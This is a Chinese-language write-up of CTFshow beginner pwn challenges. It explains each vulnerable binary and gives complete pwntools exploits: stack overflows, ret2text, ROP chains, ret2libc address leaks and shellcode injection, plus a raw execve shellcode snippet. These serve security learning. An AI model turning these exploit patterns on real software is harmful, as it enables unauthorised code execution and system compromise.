前置基础 Pwn5
先查看文件,发现是elf文件,然后给它加上运行权限并运行它。 (注意,在Linux中这种外来文件如果不专门添加运行权限我们是无法运行它的。)
1 2 3 4 5 6 7 └─$ file Welcome_to_CTFshow Welcome_to_CTFshow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped └─$ chmod +x Welcome_to_CTFshow └─$ ./Welcome_to_CTFshow Welcome_to_CTFshow_PWN
所以flag为:
1 ctfshow{Welcome_to_CTFshow_PWN}
Pwn6
我们先来仔细地看一下这个程序(利用IDA的反编译):1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public start ; 声明入口符号 start(程序入口点) start proc near mov eax, 0Bh ; EAX = 0Bh (十进制 11) add eax, 1BF48h ; EAX = EAX + 0x1BF48 (即 EAX = 0x1BF48 + 11) sub eax, 1 ; EAX = EAX - 1 mov ebx, 36Dh ; EBX = 0x36D (十进制 877) mov edx, ebx ; EDX = EBX = 0x36D mov ecx, dword ptr aWelcomeToCtfsh ; ECX = 内存中存放的字符串地址前 4 字节 ; 这其实会把字符串 “Welcome_to_CTFshow_PWN” 的前四个字节当作整数加载 mov esi, offset aWelcomeToCtfsh ; ESI = "Welcome_to_CTFshow_PWN" 的地址 mov eax, [esi] ; EAX = 前 4 个字节 (即 "Welc") mov ecx, offset aWelcomeToCtfsh ; 再次将 ECX 置为字符串地址 add ecx, 4 ; ECX = ECX + 4,跳过前 4 字节 ("Welc") mov eax, [ecx] ; EAX = 下一个 4 字节 ("ome_") mov ecx, offset aWelcomeToCtfsh ; 再次装入字符串地址 mov edx, 2 mov eax, [ecx+edx*2] ; EAX = [aWelcome_to_CTFshow_PWN + 4],效果类似上一步 mov ecx, offset aWelcomeToCtfsh mov edx, 1 add ecx, 8 mov eax, [ecx+edx*2-6] ; 这些多次 mov 的操作都是冗余的,可能是故意混淆或干扰反汇编阅读 ; 实际对最终输出没有影响 ; --- 以下是真正有意义的代码部分 --- mov eax, 4 ; 系统调用号 4:sys_write mov ebx, 1 ; 文件描述符 1:stdout mov ecx, offset aWelcomeToCtfsh ; ECX = 要输出的字符串地址 mov edx, 16h ; EDX = 要写的长度(0x16 = 22 字节) int 80h ; 调用内核:write(1, "Welcome_to_CTFshow_PWN", 22) mov eax, 1 ; 系统调用号 1:sys_exit xor ebx, ebx ; EBX = 0(退出状态码 0) int 80h ; 调用内核:exit(0) start endp _text ends
定义 :
立即寻址(Immediate Addressing) 是指:指令中的操作数本身就是常量(立即数) ,该常量直接编码在指令内 ,CPU 取出指令即可得到该值,无需再访问寄存器或内存取数。
这段代码中立即寻址的部分是:
1 2 3 4 5 mov eax, 0Bh add eax, 1BF48h sub eax, 1 mov ebx, 36Dh ; 这行跟eax没有关系,所以可以忽略。
0Bh,1BF48h的h都是十六进制的后缀,所以这段内容相当于:
1 2 3 4 5 eax = 0x0000000B eax += 0x0001BF48 eax -= 1
所以flag为:
栈溢出 Pwn35
检查一下文件的保护措施:
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ ls pwnme $ ./pwnme ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : See what the program does! * ************************************* Where is flag?
看一下这个ctfshow函数:
1 2 3 4 5 6 char *__cdecl ctfshow (char *src) { char dest[104 ]; return strcpy (dest, src); }
不难发现常见的漏洞函数strcpy,但该怎么利用它呢?
注意到这一行:
1 signal(11 , (__sighandler_t )sigsegv_handler);
1 2 3 4 5 6 void __noreturn sigsegv_handler () { fprintf (stderr , "%s\n" , flag); fflush(stderr ); exit (1 ); }
signal(11, (__sighandler_t)sigsegv_handler);
11 是 POSIX 信号号 SIGSEGV(段错误 / segmentation fault)。
signal(signum, handler) 用来注册信号处理函数:当进程收到 signum 信号时,内核会中断当前执行流并跳到 handler。
这里把 sigsegv_handler 注册为 SIGSEGV 的处理器 —— 当程序发生段错误(例如非法内存访问或访问保护页)时不会按默认行为终止并打印 core,而是去执行这个自定义处理函数。
(__sighandler_t) 是一个类型转换,把 sigsegv_handler 强制转为 signal 期待的函数指针类型,以避免编译器类型不匹配的警告(通常 signal 要求特定签名 void (*)(int),而这里 handler 定义不带参数,所以做了 cast)。
fprintf(stderr, "%s\n", flag);
把全局或外部变量 flag 当作字符串,写到标准错误流 stderr。fprintf 会格式化并写入缓冲区,最终通过底层 write 输出到终端或重定向的目标。
fflush(stderr);
强制把 stderr 的缓冲区刷出到文件描述符,确保输出立刻可见(尤其是当 stderr 被行缓冲或全缓冲时)。
由于 stderr 常常是行缓冲/无缓冲,fflush 可提高输出可靠性,确保在随后退出前内容已写出。
简单总结一下:
当 strcpy(dest, src) 写出栈边界并产生段错误时,内核发送 SIGSEGV,程序控制流会跳到 sigsegv_handler。handler 里会将flag写到stderr,然后退出程序。
也就是说我们只需要想办法利用Buffer Overflow触发segmentation fault,便可以得到flag。
因为给dest分配的是104个字节,所以我们直接输入105个字节即可。
1 2 >>> print ("A" *105 )AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ ./pwnme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : See what the program does! * ************************************* Where is flag? ctfshow{5f912424-3426-45dd-9966-84c4247d058b}
Pwn36
1 2 3 4 5 6 7 8 9 10 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn36/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0 , 2 , 0 ); puts (asc_804883C); puts (asc_80488B0); puts (asc_804892C); puts (asc_80489B8); puts (asc_8048A48); puts (asc_8048ACC); puts (asc_8048B60); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Stack_Overflow " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : There are backdoor functions here! " ); puts (" * ************************************* " ); puts ("Find and use it!" ); puts ("Enter what you want: " ); ctfshow(&argc); return 0 ; }
依旧查看最核心的ctfshow()函数:
1 2 3 4 5 6 char *ctfshow () { char s[36 ]; return gets(s); }
发现漏洞gets()。
查看Stack结构:
在Exports里发现一个可疑的函数get_flag():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int get_flag () { char s[64 ]; FILE *stream; stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(s, 64 , stream); return printf (s); }
这个函数会直接打印flag内容。
所以我们可以利用Buffer Overflow的漏洞修改返回地址调用这个函数。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r = remote("pwn.challenge.ctf.show" , 28180 ) get_flag = p32(0x08048586 ) payload = b"A" *40 + b"B" *4 + get_flag + b"\n" r.sendafter("Enter what you want:" ,payload) r.interactive()
Pwn37
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn37/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { init(&argc); logo(); puts ("Just very easy ret2text&&32bit" ); ctfshow(); puts ("\nExit" ); return 0 ; }
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[14 ]; return read(0 , buf, 0x32u ); }
可以发现这里read()函数设置的参数有问题,读取的内容长度远大于buf的长度。
栈结构:
查看Exports,发现一个backdoor()函数:
1 2 3 4 5 int backdoor () { system("/bin/sh" ); return 0 ; }
所以我们直接利用Buffer Overflow覆盖掉buf并将返回地址修改为backdoor函数的地址即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *r = remote("pwn.challenge.ctf.show" , 28105 ) backdoor = p32(0x08048521 ) payload = b"A" *(16 +2 ) + b"B" *4 + backdoor + b"\n" r.sendafter("Just very easy ret2text&&32bit" ,payload) r.sendline("cat ctfshow_flag" ) r.interactive()
Pwn38
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn38/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); puts (s); puts (asc_400890); puts (asc_400910); puts (asc_4009A0); puts (asc_400A30); puts (asc_400AB8); puts (asc_400B50); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Stack_Overflow " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : It has system and '/bin/sh'.There is a backdoor function" ); puts (" * ************************************* " ); puts ("Just easy ret2text&&64bit" ); ctfshow(); puts ("\nExit" ); return 0 ; }
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[10 ]; return read(0 , buf, 0x32u LL); }
和上一题基本上一模一样。
但最核心的区别在于:由于backdoor函数里会使用call命令,所以我们这里需要保证栈对齐(stack alignment)。因为x86_64 System V ABI 要求:在执行 call 指令之前,RSP 必须 16 字节对齐 。
所以需要额外使用一个ret命令,即将原本的返回地址修改为ret命令的地址,然后跟上backdoor函数的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *r = remote("pwn.challenge.ctf.show" , 28136 ) elf = ELF('./pwn' ) rets_iter = elf.search(asm('ret' )) ret_addr = next (rets_iter) ret = p64(ret_addr) backdoor = p64(0x0000000000400657 ) payload = b"A" *(10 +8 ) + ret + backdoor + b"\n" r.sendafter("Just easy ret2text&&64bit" ,payload) r.sendline("cat ctfshow_flag" ) r.interactive()
32-bit的基本对齐单位是4字节:返回地址与栈帧管理以4的倍数移动 -> 对齐稳定、问题少。
64-bit的ABI要求16字节对齐,但 call/ret 的变化是8字节 -> RSP 会在(0 mod 16)与(8 mod 16)两种状态间切换 。
Pwn39
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn39/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); puts (asc_804876C); puts (asc_80487E0); puts (asc_804885C); puts (asc_80488E8); puts (asc_8048978); puts (asc_80489FC); puts (asc_8048A90); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Stack_Overflow " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : It has system and '/bin/sh',but they don't work together" ); puts (" * ************************************* " ); puts ("Just easy ret2text&&32bit" ); ctfshow(&argc); puts ("\nExit" ); return 0 ; }
还是一样的漏洞:
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[14 ]; return read(0 , buf, 0x32u ); }
并且发现一个奇怪的hint()函数:
1 2 3 4 5 int hint () { puts ("/bin/sh" ); return system("echo 'You find me?'" ); }
找到"/bin/sh"字符串的地址:
所以思路如下:将返回地址修改为system函数,并将"/bin/sh"作为参数传递给system。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *r = remote("pwn.challenge.ctf.show" , 28309 ) elf = ELF('./pwn' ) system = p32(0x080483A0 ) bin_sh = p32(0x08048750 ) payload = b"A" *(0x12 +4 ) + system + p32(0 ) + bin_sh + b"\n" r.sendafter("Just easy ret2text&&32bit" ,payload) r.sendline("cat ctfshow_flag" ) r.interactive()
这个p32(0)其实就是给 system 函数占位的假返回地址。它是必须的,因为在32-bit的调用约定里函数的参数是放在栈上的,且在函数入口处第一个参数位于 ESP+4 (ESP 指向返回地址)。
Pwn40
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn40/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); puts (asc_400828); puts (asc_4008A0); puts (asc_400920); puts (asc_4009B0); puts (asc_400A40); puts (asc_400AC8); puts (asc_400B60); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Stack_Overflow " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : It has system and '/bin/sh',but they don't work together" ); puts (" * ************************************* " ); puts ("Just easy ret2text&&64bit" ); ctfshow(); puts ("\nExit" ); return 0 ; }
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[10 ]; return read(0 , buf, 0x32u LL); }
这道题的思路同样是想办法调用system()函数并传入/bin/sh作为参数。
利用pwntools可以确定这个程序某个地方使用了pop rdi ; ret命令并可以找到它的地址。
1 2 3 4 5 6 7 from pwn import *elf = ELF('./pwn' ) pop_rdi = p64(next (elf.search(asm('pop rdi ; ret' , arch='amd64' ))))
可以确定这个程序某个地方使用了pop rdi ; ret命令并可以找到它的地址。
先来解释一下这个命令:pop rdi ; ret 会从当前栈顶取出一个值放入 rdi 寄存器(即函数第 1 个参数),然后跳转到下一个地址继续执行。
在 x86-64 System V 调用约定中,函数的第一个参数通过 rdi 传递,它传的是值,不是地址;如果这个值是地址类型(如指针),函数内部才会用它当作地址来读取内容。
而ret命令具体执行的内容是:
从 [rsp] 取 8 字节 → 赋值给 rip(指令指针)
rsp += 8
所以我们可以利用这个命令构造一条这样的ROP链:
1 2 3 4 5 6 7 8 9 10 11 pop_rdi = p64(next (elf.search(asm('pop rdi ; ret' , arch='amd64' )))) bin_sh = p64(0x400808 ) ret = p64(next (elf.search(asm('ret' , arch='amd64' )))) system = p64(elf.sym['system' ]) payload = b"A" *(0xA +8 ) + pop_rdi + bin_sh + ret + system + b"\n"
与之前一样,这里的ret同样是为了保证Stack对齐。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *r = remote("pwn.challenge.ctf.show" , 28310 ) elf = ELF('./pwn' ) pop_rdi = p64(next (elf.search(asm('pop rdi ; ret' , arch='amd64' )))) bin_sh = p64(0x400808 ) ret = p64(next (elf.search(asm('ret' , arch='amd64' )))) system = p64(elf.sym['system' ]) payload = b"A" *(0xA +8 ) + pop_rdi + bin_sh + ret + system + b"\n" r.sendafter("Just easy ret2text&&64bit" ,payload) r.sendline("cat ctfshow_flag" ) r.interactive()
Pwn42
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn42/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
1 2 3 4 5 6 7 8 9 int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); logo(); ctfshow(); puts ("\nExit" ); return 0 ; }
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[10 ]; return read(0 , buf, 0x32u ); }
首先可以在IDA的Imports页面看到system函数,也就是题目里说的有system():
而在Imports页面里可以发现一个useful函数:
1 2 3 4 int useful () { return printf ("sh" ); }
我们刚好可以利用这个”sh”来代替”/bin/sh”,将其传递给system()。
最后再确认一下Stack结构以及偏移:
Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *r = remote('pwn.challenge.ctf.show' , 28311 ) elf = ELF('./pwn' ,checksec = "False" ) system = p64(elf.sym['system' ]) pop_rdi = p64(next (elf.search(asm('pop rdi ; ret' , arch='amd64' )))) sh = p64(next (elf.search(b'sh' ))) ret = p64(next (elf.search(asm('ret' , arch='amd64' )))) payload = b"A" *18 + pop_rdi + sh + ret + system r.sendline(payload) r.recv() r.sendline(b'cat ctfshow_flag' ) r.interactive()
Ret2libc Pwn46
1 2 3 4 5 6 7 8 9 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts ("O.o?" ); ctfshow(); write(0 , "Hello CTFshow!\n" , 0xEu ); return 0 ; }
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[112 ]; return read(0 , buf, 0xC8u ); }
漏洞依旧是read函数导致的Buffer Overflow。
现在我们虽然没有直接的system函数和"/bin/sh"。但是system函数是属于libc的,而libc.so动态链接库中的函数之间的相对偏移是固定的。
而假如我们可以得知libc中某个函数的地址,那么我们就可以根据该程序利用的libc来计算出system函数的地址。并且libc中其实也有"/bin/sh"字符串的。所以都可以获得。
那么该怎样完成第一步呢?我们可以用这里的write()函数。
思路如下:
泄露write函数地址:
等write执行完了我们再将返回地址修改成main,让整个程序再跑一遍,用于注入执行system('/bin/sh')。
获取libc版本
利用python的LibcSearcher库:
1 2 3 4 write = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc = LibcSearcher('write' ,write) libc_base = write - libc.dump('write' )
获取system函数与"/bin/sh"的地址
1 2 system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
再次执行程序
触发栈溢出执行system('/bin/sh')
可以使用GDB查找gadgets的地址:
Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context(arch='amd64' ,os='linux' ,log_level='debug' ) r = remote('pwn.challenge.ctf.show' , 28258 ) elf = ELF('./pwn' ) write_plt = p64(elf.plt['write' ]) write_got = p64(elf.got['write' ]) main = p64(elf.sym['main' ]) pop_rdi = p64(next (elf.search(asm('pop rdi ; ret' , arch='amd64' )))) pop_rsi_r15 = p64(0x400801 ) payload = b"A" *(0x70 +8 ) payload += pop_rdi + p64(1 ) payload += pop_rsi_r15 + write_got + p64(0 ) payload += write_plt payload += main r.sendlineafter(b"O.o?" ,payload) write = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (write))libc = LibcSearcher('write' ,write) libc_base = write - libc.dump('write' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b"A" *(0x70 +8 ) + pop_rdi + p64(bin_sh) + p64(system) r.sendlineafter(b"O.o?" ,payload) r.interactive()
Pwntools的shellcode的字节长度如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch='amd64' , os='linux' ) shellcode_64 = asm(shellcraft.sh()) print (len (shellcode_64))
Pwn56
1 2 3 4 5 6 7 8 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn56/pwn' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public start start proc near push 68h ; 'h' push 732F2F2Fh push 6E69622Fh mov ebx, esp ; file xor ecx, ecx ; argv xor edx, edx ; envp push 0Bh pop eax int 80h ; LINUX - sys_execve start endp _text ends
这段代码是x86汇编语言的代码,用于在Linux系统上执行execve(“/bin//sh”, NULL, NULL)。
所以我们一连接到服务器就会直接拿到Shell:
1 2 3 └─$ nc pwn.challenge.ctf.show 28214 cat ctfshow_flagctfshow{7b0cc826-a180-4ce8-a26c-a4531b634162}
Pwn57
1 2 3 4 5 6 7 8 9 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn57/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable Stripped: No
(注意到这个程度的Stack是Executable的。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public _start _start proc near push rax xor rdx, rdx xor rsi, rsi mov rbx, 68732F2F6E69622Fh push rbx push rsp pop rdi mov al, 3Bh ; ';' syscall ; LINUX - _start endp _text ends end _start
这段代码是x86-64汇编语言的代码,用于在Linux系统上执行execve(“/bin//sh”, NULL, NULL)。
push rax 把 RAX 压栈,意图是给后面的字符串做一个 8 字节的 \0 终止符。
xor rdx, rdx RDX = 0,作为 envp = NULL。
xor rsi, rsi RSI = 0,作为 argv = NULL(Linux 内核允许 argv 为 NULL,等价于空参数列表)。
mov rbx, 68732F2F6E69622Fh 把常量装入 RBX。按小端序,这 8 字节在内存中是字符串 "/bin//sh"。
push rbx 把 "/bin//sh" 压到栈上;若前面的 push rax 是 0,这里就得到以 NUL 结尾的字符串。
push rsp / pop rdi 把当前 RSP(也就是刚压入的字符串地址)放到 RDI。RDI 将作为 filename 参数。
mov al, 3Bh AL = 0x3B(十进制 59),x86-64 Linux 上 execve 的系统调用号。
syscall 触发系统调用:execve(rdi="/bin//sh", rsi=NULL, rdx=NULL)。成功的话当前进程映像被 /bin//sh 替换,进入交互 shell;失败则返回带 errno 的负值到 RAX。
所以我们一连接到服务器就会直接拿到Shell:
1 2 3 └─$ nc pwn.challenge.ctf.show 28291 cat ctfshow_flagctfshow{048529da-d481-45f2-9a88-7b900ccd1dbb}
Pwn59 1 2 3 4 5 6 7 8 9 10 └─$ checksec pwn [*] '/home/archer/ctf-kali/pwn/pwn59/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ; int __fastcall main(int argc, const char **argv, const char **envp) public main main proc near var_B0= qword ptr -0B0h var_A4= dword ptr -0A4h var_A0= byte ptr -0A0h ; __unwind { push rbp mov rbp, rsp sub rsp, 0B0h mov [rbp+var_A4], edi mov [rbp+var_B0], rsi mov rax, cs:__bss_start mov ecx, 0 ; n mov edx, 2 ; modes mov esi, 0 ; buf mov rdi, rax ; stream call _setvbuf mov eax, 0 call logo lea rdi, aJustVeryEasyRe ; "Just very easy ret2shellcode&&64bit" call _puts lea rdi, aAttachIt ; "Attach it!" call _puts lea rax, [rbp+var_A0] mov rdi, rax call ctfshow lea rdx, [rbp+var_A0] mov eax, 0 call rdx mov eax, 0 leave retn ; } // starts at 400686 main endp
不知道IDA为什么没法反汇编这段。
简单解释一下这个程序:
关闭/调整缓冲 -> 打印横幅 -> 为局部缓冲区调用 ctfshow(把数据/用户输入放到缓冲区)-> 然后把这个缓冲区当作代码执行(call buffer) -> 返回 0。
所以说我们直接发送一段shellcode就好了。
可以利用Pwntools里的shellcode函数高效实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch = "amd64" , os = "linux" ) r = remote("pwn.challenge.ctf.show" , 28112 ) shellcode = asm(shellcraft.sh()) r.sendline(shellcode) r.interactive()
注意,其中这行代码非常重要:
1 context(arch = "amd64" , os = "linux" )
它这行告诉pwntools目标的CPU架构和操作系统(即寄存器/系统调用约定),决定 shellcraft.sh() 和 asm() 生成什么样的机器码。
或者(在这道题里我们可以)直接发送cat flag的命令:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(arch="amd64" , os="linux" ) r = remote("pwn.challenge.ctf.show" , 28112 ) sc = asm(shellcraft.execve("/bin/cat" , ["cat" , "ctfshow_flag" ])) r.sendline(sc) r.interactive()
Pwn60
1 2 3 4 5 6 7 8 9 10 11 └─$ checksec pwn60 [*] '/home/archer/ctf-kali/pwn/pwn60/pwn60' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ; int __cdecl main(int argc, const char **argv, const char **envp) public main main proc near s= byte ptr -64h argc= dword ptr 8 argv= dword ptr 0Ch envp= dword ptr 10h ; __unwind { push ebp mov ebp, esp and esp, 0FFFFFFF0h add esp, 0FFFFFF80h mov eax, ds:stdout@@GLIBC_2_0 mov dword ptr [esp+0Ch], 0 ; n mov dword ptr [esp+8], 2 ; modes mov dword ptr [esp+4], 0 ; buf mov [esp], eax ; stream call _setvbuf mov eax, ds:stdin@@GLIBC_2_0 mov dword ptr [esp+0Ch], 0 ; n mov dword ptr [esp+8], 1 ; modes mov dword ptr [esp+4], 0 ; buf mov [esp], eax ; stream call _setvbuf mov dword ptr [esp], offset s ; "CTFshow-pwn can u pwn me here!!" call _puts lea eax, [esp+80h+s] mov [esp], eax ; s call _gets mov dword ptr [esp+8], 64h ; 'd' ; n lea eax, [esp+80h+s] mov [esp+4], eax ; src mov dword ptr [esp], offset buf2 ; dest call _strncpy mov dword ptr [esp], offset format ; "See you ~" call _printf mov eax, 0 leave retn ; } // starts at 804852D main endp
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char s[100 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); puts ("CTFshow-pwn can u pwn me here!!" ); gets(s); strncpy (buf2, s, 0x64u ); printf ("See you ~" ); return 0 ; }
发现常见漏洞函数gets()。
下面还使用strncpy将s的内容复制给了buf2。
通过gdb/pwndbg可以发现bss段有可执行权限。
所以先将shellcode写入到bss段,然后修改返回地址执行它。
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch = 'i386' ,os = "linux" ) r = remote("pwn.challenge.ctf.show" , 28288 ) buf2_addr = 0x804a080 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(112 ,b"a" ) + p32(buf2_addr) r.sendline(payload) r.sendline("cat ctfshow_flag" ) r.interactive()
(还没有完全搞懂为什么偏移是112。理论上可以用gdb测试出来。)
shellcode.ljust(112,b"a"):ljust函数会将shellcode字符串填充到长度为112的字符串中,并用"a"填充空余的部分。
Pwn62 24位的shellcode(来源:https://www.exploit-db.com/exploits/43550 ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <stdio.h> #include <string.h> char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" ;int main () { printf ("len:%d bytes\n" , strlen (code)); (*(void (*)()) code)(); return 0 ; }
Pwn63 23位的shellcode(来源:https://www.exploit-db.com/exploits/36858 ):
